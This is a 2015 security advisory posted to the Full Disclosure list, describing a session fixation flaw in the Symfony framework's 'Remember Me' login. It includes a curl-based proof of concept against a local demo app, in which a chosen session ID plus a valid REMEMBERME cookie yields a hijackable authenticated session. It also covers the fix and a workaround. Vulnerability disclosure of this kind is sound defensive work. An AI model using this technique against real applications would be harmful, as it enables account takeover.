Date: Tue, 22 Dec 2015 14:39:24 +0100
From: RedTeam Pentesting GmbH <release@...team-pentesting.de>
To: fulldisclosure@...lists.org
Subject: [FD] [RT-SA-2015-013] Symfony PHP Framework: Session Fixation In
 "Remember Me" Login Functionality

Advisory: Symfony PHP Framework: Session Fixation In "Remember Me" Login
          Functionality

A session fixation vulnerability within the Symfony web application
framework's "Remember Me" login functionality allows an attacker to
impersonate the victim towards the web application if the session ID
value was previously known to the attacker.


Details
=======

Product: Symfony
Affected Versions: 2.3.0 to 2.3.34, 2.6.0 - 2.6.11, 2.7.0 - 2.7.6
Fixed Versions: 2.3.35, 2.6.12, and 2.7.7 [2]
Vulnerability Type: Session Fixation
Security Risk: low
Vendor URL: https://symfony.com/
Vendor Status: fixed version released [2]
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-013
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"Symfony is a set of PHP Components, a Web Application framework, a
Philosophy, and a Community — all working together in harmony."

(from Symfony's homepage)


More Details
============

The following details are explained using the official Symfony Demo
application[0]. The "Remember Me" login functionality was activated
according to [1]. The security configuration file was modified as
follows:

-- app/config/security.yml ---------------------------------------------

security:
    [...]
    firewalls:
        secured_area:
            [...]
            remember_me:
                key: "IdOpAkToufatt8knawt{"
                lifetime: 604800
                path: /
                always_remember_me: true

------------------------------------------------------------------------

If the following URL is requested, the Symfony application redirects to
a login screen where a username and password must be supplied:

$ curl -I 'http://localhost:8000/en/admin/post/'
HTTP/1.1 302 Found
Host: localhost:8000
[...]
Set-Cookie: PHPSESSID=8a17gpfjtnfqfdhabthso92sk3; path=/
Location: http://localhost:8000/en/login

On submission, an HTTP POST request is performed by the browser:

POST /en/login_check HTTP/1.1
Host: localhost:8000
Referer: http://localhost:8000/en/login
Cookie: PHPSESSID=8a17gpfjtnfqfdhabthso92sk3
[...]

_username=anna_admin
&_password=kitten
&_csrf_token=h_s6ltxHB3gbGU--SIY6wLCUGf84bLmhs1_LGFEBsUI

If the supplied credentials are correct, the Symfony application
responds as follows:

HTTP/1.1 302 Found
Host: localhost:8000
Set-Cookie: PHPSESSID=vk2e3enjr0uafgonr0i3u2b4t5; path=/
Set-Cookie: REMEMBERME=QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZVjloWkcxcGJnP
            T06MTQ0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1NGU5Y
            2IwOWY0OWY3MTFhODNhMjUxNmU0OWE4Njg2MTVmNWRk; expires=Thu,
            29-Oct-2015 12:27:14 GMT; Max-Age=604800;
Location: http://localhost:8000/en/admin/post/
[...]

The cookie PHPSESSID is set to a new value and a new cookie named
REMEMBERME is set in the client. The PHPSESSID is a session cookie
only and has a limited lifetime. In contrast, the REMEMBERME cookie has
a validity of one week. It allows users to stay logged in for longer
than the regular session lasts.

The REMEMBERME cookie's value consists of four data fields separated by
colons and is encoded in base64. The first data field references the
application's user object, followed by the base64-encoded username. The
third data field is a timestamp of the cookie's expiration date. The
last one is a MAC value to protect the other three against manipulation.

$ base64 -d <<< QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZVjloWkcxcGJnPT06MTQ\
0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1NGU5Y2IwOWY0OWY3MTFhOD\
NhMjUxNmU0OWE4Njg2MTVmNWRk
AppBundle\Entity\User:YW5uYV9hZG1pbg==:1446121634:f09138bc[...]68615f5dd

$ base64 -d <<< YW5uYV9hZG1pbg==
anna_admin

$ date -d @1446121634
Thu Oct 29 13:27:14 CET 2015


Proof of Concept
================

If the following URL is requested with an unauthorised session ID, the
Symfony application redirects to the login page (as already shown
above):

$ curl -I 'http://localhost:8000/en/admin/post/' -b 'PHPSESSID=redteam'
HTTP/1.1 302 Found
Host: localhost:8000
Location: http://localhost:8000/en/login
[...]

In the case that a valid REMEMBERME cookie is included in the HTTP
request, the user is successfully authenticated:

$ curl -s -i 'http://localhost:8000/en/admin/post/' \
-b 'PHPSESSID=redteam; REMEMBERME=QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZ'\
'VjloWkcxcGJnPT06MTQ0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1N'\
'GU5Y2IwOWY0OWY3MTFhODNhMjUxNmU0OWE4Njg2MTVmNWRk'
HTTP/1.1 200 OK
Host: localhost:8000
[...]

<!DOCTYPE html>
<html>
[...]
            <tr>
                <td>In hac habitasse platea dictumst</td>
                <td>anna_admin@...fony.com</td>
                <td>8/23/15, 10:16 AM</td>
[...]

After this HTTP request, the PHPSESSID value suffices to authenticate
the user. In contrast to the regular login procedure, the web
application did not assign a new value to the PHPSESSID cookie. If an
attacker somehow got in possession of the cookie's value or has
successfully set a given cookie value in the user's browser at some
point in the past, the attacker is now able to access the web
application with the user's permissions:

$ curl -s -i 'http://localhost:8000/en/admin/post/' \
-b 'PHPSESSID=redteam'
HTTP/1.1 200 OK
Host: localhost:8000
[...]

<!DOCTYPE html>
<html>
[...]
            <tr>
                <td>In hac habitasse platea dictumst</td>
                <td>anna_admin@...fony.com</td>
                <td>8/23/15, 10:16 AM</td>
[...]


Workaround
==========

Disable the "Remember Me" login functionality within the configuration
file security.yml.


Fix
===

Upgrade to a fixed version if possible, otherwise refer to section
Workaround.


Security Risk
=============

The described vulnerability allows an attacker to access a Symfony web
application with the attacked user's permissions. The attack requires
that the "Remember Me" login functionality is used by the application.
Additionally, the attacker either got access to the PHPSESSID cookie
value or has successfully set a new value in the user's browser. Because
of its requirements, the described vulnerability poses a low risk only.
The risk estimation may be increased to medium or high based on the
affected web application and the accessible data.


Timeline
========

2015-09-11 Vulnerability identified
2015-09-16 Customer approved disclosure to vendor
2015-10-27 Vendor notified
2015-11-23 Fixed by vendor [2]
2015-12-22 Advisory released


References
==========

[0] https://github.com/symfony/symfony-demo
[1] https://symfony.com/doc/current/cookbook/security/remember_me.html
[2] https://symfony.com/blog/cve-2015-8124-session-fixation-in-the-remember-me-login-feature


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

-- 
RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen                    https://www.redteam-pentesting.de
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

Content of type "application/pgp-signature" skipped


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists